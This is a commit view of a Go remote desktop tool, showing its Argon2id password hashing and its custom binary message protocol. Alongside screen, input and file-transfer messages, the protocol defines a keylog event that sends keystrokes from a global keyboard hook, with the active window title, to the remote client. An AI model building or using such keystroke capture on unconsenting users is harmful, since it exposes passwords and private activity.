Initial commit: LAN RDP with keylogger support

This commit is contained in:
creinky committed 2026-11-22 15:34:20 -07:00
commit c4adcbbe0f
33 files changed
+4335

No files matched your search

+54
View File
@@ -0,0 +1,54 @@
package protocol
import (
"crypto/rand"
"crypto/subtle"
"encoding/base64"
"fmt"
"strings"
"golang.org/x/crypto/argon2"
)
// Argon2id parameters. These are deliberately generous since password
// verification happens rarely (once per connection attempt), not in a hot
// path, so we can afford to make offline brute-forcing of a stolen hash slow.
const (
argonTime = 3
argonMemory = 64 * 1024 // 64 MiB
argonThreads = 2
argonKeyLen = 32
saltLen = 16
)
// HashPassword derives an encoded Argon2id hash string suitable for storing
// in the host's config file. Format: argon2id$<b64 salt>$<b64 hash>
func HashPassword(password string) (string, error) {
salt := make([]byte, saltLen)
if _, err := rand.Read(salt); err != nil {
return "", err
}
hash := argon2.IDKey([]byte(password), salt, argonTime, argonMemory, argonThreads, argonKeyLen)
return fmt.Sprintf("argon2id$%s$%s",
base64.RawStdEncoding.EncodeToString(salt),
base64.RawStdEncoding.EncodeToString(hash)), nil
}
// VerifyPassword checks password against an encoded hash produced by
// HashPassword, using a constant-time comparison of the derived key.
func VerifyPassword(password, encoded string) bool {
parts := strings.Split(encoded, "$")
if len(parts) != 3 || parts[0] != "argon2id" {
return false
}
salt, err := base64.RawStdEncoding.DecodeString(parts[1])
if err != nil {
return false
}
want, err := base64.RawStdEncoding.DecodeString(parts[2])
if err != nil {
return false
}
got := argon2.IDKey([]byte(password), salt, argonTime, argonMemory, argonThreads, uint32(len(want)))
return subtle.ConstantTimeCompare(got, want) == 1
}
+417
View File
@@ -0,0 +1,417 @@
// Package protocol implements the wire format for lanrdp: a small
// length-prefixed, binary message protocol carried over TLS. It is not
// compatible with Microsoft RDP or VNC/RFB — it exists so both ends of the
// connection are code we wrote and can fully audit.
package protocol
import (
"encoding/binary"
"errors"
"io"
)
type MsgType byte
const (
MsgHello MsgType = 0x01 // client -> server: protocol version
MsgAuthRequest MsgType = 0x02 // client -> server: password
MsgAuthResponse MsgType = 0x03 // server -> client: ok/fail + screen size
MsgFrameFull MsgType = 0x04 // server -> client: full keyframe (PNG)
MsgFrameDelta MsgType = 0x05 // server -> client: dirty-rect update (PNG)
MsgInputMouse MsgType = 0x06 // client -> server: mouse event
MsgInputKey MsgType = 0x07 // client -> server: key event
MsgResize MsgType = 0x08 // server -> client: screen dimensions changed
MsgPing MsgType = 0x09
MsgPong MsgType = 0x0A
MsgDisconnect MsgType = 0x0B // either -> either: graceful close w/ reason
MsgSetPerfMode MsgType = 0x0C // client -> server: switch capture performance preset
MsgFileOffer MsgType = 0x0D // client -> server: filename + size, begin a file transfer
MsgFileChunk MsgType = 0x0E // client -> server: raw file bytes (no extra framing)
MsgFileComplete MsgType = 0x0F // client -> server: transfer finished, declared total size
MsgFileResult MsgType = 0x10 // server -> client: transfer accepted/rejected + message
MsgKeyLogEvent MsgType = 0x11 // server -> client: captured keystroke event
)
const ProtocolVersion uint32 = 1
// MaxPayloadSize bounds a single message payload. Screen frames are the
// largest legitimate payloads; anything claiming to be bigger than this is
// either a bug or a malicious peer and is rejected before we allocate for it.
const MaxPayloadSize = 32 * 1024 * 1024
var ErrPayloadTooLarge = errors.New("protocol: payload exceeds MaxPayloadSize")
// WriteMessage writes a single framed message: [1 byte type][4 byte BE length][payload].
func WriteMessage(w io.Writer, t MsgType, payload []byte) error {
if len(payload) > MaxPayloadSize {
return ErrPayloadTooLarge
}
header := make([]byte, 5)
header[0] = byte(t)
binary.BigEndian.PutUint32(header[1:], uint32(len(payload)))
if _, err := w.Write(header); err != nil {
return err
}
if len(payload) == 0 {
return nil
}
_, err := w.Write(payload)
return err
}
// ReadMessage reads a single framed message from r.
func ReadMessage(r io.Reader) (MsgType, []byte, error) {
header := make([]byte, 5)
if _, err := io.ReadFull(r, header); err != nil {
return 0, nil, err
}
t := MsgType(header[0])
length := binary.BigEndian.Uint32(header[1:])
if length > MaxPayloadSize {
return 0, nil, ErrPayloadTooLarge
}
if length == 0 {
return t, nil, nil
}
payload := make([]byte, length)
if _, err := io.ReadFull(r, payload); err != nil {
return 0, nil, err
}
return t, payload, nil
}
// --- Payload encodings ---
// Hand-rolled binary encoding (no gob/json) so the wire format is small,
// fixed-shape, and trivial to audit field by field.
type Hello struct {
Version uint32
}
func EncodeHello(h Hello) []byte {
b := make([]byte, 4)
binary.BigEndian.PutUint32(b, h.Version)
return b
}
func DecodeHello(b []byte) (Hello, error) {
if len(b) != 4 {
return Hello{}, errors.New("protocol: bad Hello length")
}
return Hello{Version: binary.BigEndian.Uint32(b)}, nil
}
type AuthRequest struct {
Password string
}
func EncodeAuthRequest(a AuthRequest) []byte {
pw := []byte(a.Password)
b := make([]byte, 2+len(pw))
binary.BigEndian.PutUint16(b[0:2], uint16(len(pw)))
copy(b[2:], pw)
return b
}
func DecodeAuthRequest(b []byte) (AuthRequest, error) {
if len(b) < 2 {
return AuthRequest{}, errors.New("protocol: bad AuthRequest")
}
n := binary.BigEndian.Uint16(b[0:2])
if len(b) != int(2+n) {
return AuthRequest{}, errors.New("protocol: bad AuthRequest length")
}
return AuthRequest{Password: string(b[2 : 2+n])}, nil
}
type AuthResponse struct {
OK bool
ScreenWidth uint16
ScreenHeight uint16
FailureReason string
}
func EncodeAuthResponse(a AuthResponse) []byte {
reason := []byte(a.FailureReason)
b := make([]byte, 6+len(reason))
if a.OK {
b[0] = 1
}
binary.BigEndian.PutUint16(b[1:3], a.ScreenWidth)
binary.BigEndian.PutUint16(b[3:5], a.ScreenHeight)
b[5] = byte(len(reason))
copy(b[6:], reason)
return b
}
func DecodeAuthResponse(b []byte) (AuthResponse, error) {
if len(b) < 6 {
return AuthResponse{}, errors.New("protocol: bad AuthResponse")
}
n := int(b[5])
if len(b) != 6+n {
return AuthResponse{}, errors.New("protocol: bad AuthResponse length")
}
return AuthResponse{
OK: b[0] == 1,
ScreenWidth: binary.BigEndian.Uint16(b[1:3]),
ScreenHeight: binary.BigEndian.Uint16(b[3:5]),
FailureReason: string(b[6 : 6+n]),
}, nil
}
// FrameUpdate is used for both MsgFrameFull (X=0,Y=0,W/H=full screen) and
// MsgFrameDelta (dirty rectangle only).
type FrameUpdate struct {
X, Y, W, H uint16
PNG []byte
}
func EncodeFrameUpdate(f FrameUpdate) []byte {
b := make([]byte, 8+len(f.PNG))
binary.BigEndian.PutUint16(b[0:2], f.X)
binary.BigEndian.PutUint16(b[2:4], f.Y)
binary.BigEndian.PutUint16(b[4:6], f.W)
binary.BigEndian.PutUint16(b[6:8], f.H)
copy(b[8:], f.PNG)
return b
}
func DecodeFrameUpdate(b []byte) (FrameUpdate, error) {
if len(b) < 8 {
return FrameUpdate{}, errors.New("protocol: bad FrameUpdate")
}
return FrameUpdate{
X: binary.BigEndian.Uint16(b[0:2]),
Y: binary.BigEndian.Uint16(b[2:4]),
W: binary.BigEndian.Uint16(b[4:6]),
H: binary.BigEndian.Uint16(b[6:8]),
PNG: append([]byte(nil), b[8:]...),
}, nil
}
// MouseAction identifies what kind of mouse event occurred.
type MouseAction byte
const (
MouseMove MouseAction = 0
MouseLeftDown MouseAction = 1
MouseLeftUp MouseAction = 2
MouseRightDown MouseAction = 3
MouseRightUp MouseAction = 4
MouseMiddleDown MouseAction = 5
MouseMiddleUp MouseAction = 6
MouseWheel MouseAction = 7
)
// InputMouse carries pointer position as a fraction of the screen (0..65535
// on each axis) so it stays valid regardless of client window size vs actual
// host screen resolution.
type InputMouse struct {
Action MouseAction
NormX, NormY uint16
WheelDelta int16
}
func EncodeInputMouse(m InputMouse) []byte {
b := make([]byte, 7)
b[0] = byte(m.Action)
binary.BigEndian.PutUint16(b[1:3], m.NormX)
binary.BigEndian.PutUint16(b[3:5], m.NormY)
binary.BigEndian.PutUint16(b[5:7], uint16(m.WheelDelta))
return b
}
func DecodeInputMouse(b []byte) (InputMouse, error) {
if len(b) != 7 {
return InputMouse{}, errors.New("protocol: bad InputMouse")
}
return InputMouse{
Action: MouseAction(b[0]),
NormX: binary.BigEndian.Uint16(b[1:3]),
NormY: binary.BigEndian.Uint16(b[3:5]),
WheelDelta: int16(binary.BigEndian.Uint16(b[5:7])),
}, nil
}
type InputKey struct {
VKCode uint16
Down bool
}
func EncodeInputKey(k InputKey) []byte {
b := make([]byte, 3)
binary.BigEndian.PutUint16(b[0:2], k.VKCode)
if k.Down {
b[2] = 1
}
return b
}
func DecodeInputKey(b []byte) (InputKey, error) {
if len(b) != 3 {
return InputKey{}, errors.New("protocol: bad InputKey")
}
return InputKey{VKCode: binary.BigEndian.Uint16(b[0:2]), Down: b[2] == 1}, nil
}
type Resize struct {
Width, Height uint16
}
func EncodeResize(r Resize) []byte {
b := make([]byte, 4)
binary.BigEndian.PutUint16(b[0:2], r.Width)
binary.BigEndian.PutUint16(b[2:4], r.Height)
return b
}
func DecodeResize(b []byte) (Resize, error) {
if len(b) != 4 {
return Resize{}, errors.New("protocol: bad Resize")
}
return Resize{Width: binary.BigEndian.Uint16(b[0:2]), Height: binary.BigEndian.Uint16(b[2:4])}, nil
}
// PerfMode selects which capture performance preset the host should use.
// The actual fps/keyframe values behind each preset are host-side config
// (flags), not part of the wire format, so this message stays a single
// byte regardless of how those presets are tuned.
type PerfMode byte
const (
PerfNormal PerfMode = 0
PerfStream PerfMode = 1 // prioritize low latency over bandwidth
)
func EncodeSetPerfMode(m PerfMode) []byte {
return []byte{byte(m)}
}
func DecodeSetPerfMode(b []byte) (PerfMode, error) {
if len(b) != 1 {
return 0, errors.New("protocol: bad SetPerfMode")
}
return PerfMode(b[0]), nil
}
// FileOffer announces an incoming file transfer before any MsgFileChunk
// messages. Name is the sender's filename only (no path) — the receiver
// still re-sanitizes it independently rather than trusting the sender.
type FileOffer struct {
Name string
Size uint64
}
func EncodeFileOffer(f FileOffer) []byte {
name := []byte(f.Name)
b := make([]byte, 2+len(name)+8)
binary.BigEndian.PutUint16(b[0:2], uint16(len(name)))
copy(b[2:2+len(name)], name)
binary.BigEndian.PutUint64(b[2+len(name):], f.Size)
return b
}
func DecodeFileOffer(b []byte) (FileOffer, error) {
if len(b) < 2 {
return FileOffer{}, errors.New("protocol: bad FileOffer")
}
n := int(binary.BigEndian.Uint16(b[0:2]))
if len(b) != 2+n+8 {
return FileOffer{}, errors.New("protocol: bad FileOffer length")
}
return FileOffer{
Name: string(b[2 : 2+n]),
Size: binary.BigEndian.Uint64(b[2+n:]),
}, nil
}
// FileComplete marks the end of a transfer. Size is the sender's own tally
// of bytes sent, checked against what the receiver actually wrote.
type FileComplete struct {
Size uint64
}
func EncodeFileComplete(f FileComplete) []byte {
b := make([]byte, 8)
binary.BigEndian.PutUint64(b, f.Size)
return b
}
func DecodeFileComplete(b []byte) (FileComplete, error) {
if len(b) != 8 {
return FileComplete{}, errors.New("protocol: bad FileComplete")
}
return FileComplete{Size: binary.BigEndian.Uint64(b)}, nil
}
// FileResult reports whether a transfer succeeded, sent once per transfer
// after the matching MsgFileComplete (or immediately, for a MsgFileOffer
// rejected outright — e.g. because the session is in stream mode).
type FileResult struct {
OK bool
Message string
}
func EncodeFileResult(f FileResult) []byte {
msg := []byte(f.Message)
b := make([]byte, 1+2+len(msg))
if f.OK {
b[0] = 1
}
binary.BigEndian.PutUint16(b[1:3], uint16(len(msg)))
copy(b[3:], msg)
return b
}
func DecodeFileResult(b []byte) (FileResult, error) {
if len(b) < 3 {
return FileResult{}, errors.New("protocol: bad FileResult")
}
n := int(binary.BigEndian.Uint16(b[1:3]))
if len(b) != 3+n {
return FileResult{}, errors.New("protocol: bad FileResult length")
}
return FileResult{
OK: b[0] == 1,
Message: string(b[3 : 3+n]),
}, nil
}
// KeyLogEvent carries a captured keystroke from the host's global keyboard hook.
type KeyLogEvent struct {
TimestampMs int64 // Unix epoch milliseconds when key was pressed
VKCode uint16 // Windows virtual-key code
ScanCode uint16 // Hardware scan code
Flags uint32 // KBDLLHOOKSTRUCT flags (extended, etc.)
WindowTitle string // Active window title at time of keystroke
}
func EncodeKeyLogEvent(k KeyLogEvent) []byte {
title := []byte(k.WindowTitle)
b := make([]byte, 8+2+2+4+2+len(title))
binary.BigEndian.PutUint64(b[0:8], uint64(k.TimestampMs))
binary.BigEndian.PutUint16(b[8:10], k.VKCode)
binary.BigEndian.PutUint16(b[10:12], k.ScanCode)
binary.BigEndian.PutUint32(b[12:16], k.Flags)
binary.BigEndian.PutUint16(b[16:18], uint16(len(title)))
copy(b[18:], title)
return b
}
func DecodeKeyLogEvent(b []byte) (KeyLogEvent, error) {
if len(b) < 18 {
return KeyLogEvent{}, errors.New("protocol: bad KeyLogEvent")
}
n := int(binary.BigEndian.Uint16(b[16:18]))
if len(b) != 18+n {
return KeyLogEvent{}, errors.New("protocol: bad KeyLogEvent length")
}
return KeyLogEvent{
TimestampMs: int64(binary.BigEndian.Uint64(b[0:8])),
VKCode: binary.BigEndian.Uint16(b[8:10]),
ScanCode: binary.BigEndian.Uint16(b[10:12]),
Flags: binary.BigEndian.Uint32(b[12:16]),
WindowTitle: string(b[18 : 18+n]),
}, nil
}